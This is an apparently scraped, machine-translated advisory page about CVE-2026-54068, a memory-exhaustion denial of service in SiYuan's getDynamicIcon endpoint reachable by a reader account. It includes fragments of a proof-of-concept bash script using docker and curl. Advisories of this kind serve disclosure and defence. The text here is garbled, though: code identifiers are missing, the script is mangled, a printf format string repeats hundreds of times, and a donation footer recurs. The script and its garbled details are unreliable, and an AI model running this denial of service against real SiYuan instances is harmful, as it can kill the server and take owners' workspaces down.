SiYuan /api/icon/getDynamicIcon Unrestricted Sprig Template Function Leads to OOM-DoS (CVE-2026-54068)

SiYuan: 読者リクエストによる のスプロールした Sprig テンプレート関数マッピングによる OOM-kill 発生カーネル（CVE-2026-54068 の残留影響） 脆弱性概要 脆弱性説明: は、 クエリパラメータを Go の として解析し、その関数マッピングとして を使用しています（ただし3つのエントリが削除されています）。 は上限のない追加ループであるため、一つの要求で呼び出し手が任意に指定した整数分のメモリを割り当てることができます。 影響: 通常の公開読者アカウントからの GET 要求により、コンテナのメモリ使用量は 116 MiB から 3.7 GiB に増加します。コンテナのメモリ制限が 700 MiB に設定されている場合、単一の要求で OOMKilled（Out of Memory Kill）エラーが発生します。プロセスの終了によりカーネルが死亡し、所有者のワークスペースもカーネルとともに消失します。 修正: の代わりに ホワイトリストを使用します。 影響範囲 影響バージョン: /dev/null; } trap 'docker rm -f $C >/dev/null 2>&1; rm -rf "$M"' EXIT echo "0. 公式イメージから SiYuan 3.8.4 を起動、メモリ制限なし" docker run -d --name $C -p 127.0.0.1:SP:8080 -p 127.0.0.1:SP:6080 \ -e "WORKSPACE=/siyuan/workspace" -e "POD=$id -u" -e "POD=$id -g" \ -e "accessAuthCode=$AC" --port=6080 "$M" upm() { for i in $(seq 1 60); do curl -s -m 3 -X POST $K/api/system/version echo "#1. 通常の公開ドキュメント1つ、およびそのデフォルト設定での公開サービス hmb /api/notebook/createNotebook '{"name":"LAB"}' D=$?hmb /api/filetree/createDocument '{"parentNotebookID":"$D","name":"LAB1","path":"/Public notes/","markdown":"nothing secret here"}' hmb /api/notebook/exportMarkdown '{"notebookID":"$D","noteID":"$D"}' for i in $(seq 1 60); do curl -s -m 3 -X POST $K/api/system/version { $upm 1 } sleep 2 echo "1. 公開されたドキュメント $D" curl -s -m 8 -o /dev/null -w " with no credentials: http%{http.code} (publish auth works)\n" \ "$P/api/icon/getDynamicIcon?type=0&content=&id=$D" echo " 以下すべては読者アカウントの自身の資格情報を使用する" echo "2. そのテンプレートで読者が呼び出せるもの" printf ' %-30s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-10s %-

目標達成すべての支援者に感謝 — 100%達成しました！

SiYuan /api/icon/getDynamicIcon Unrestricted Sprig Template Function Leads to OOM-DoS (CVE-2026-54068)

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

SiYuan /api/icon/getDynamicIcon Unrestricted Sprig Template Function Leads to OOM-DoS (CVE-2026-54068)

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！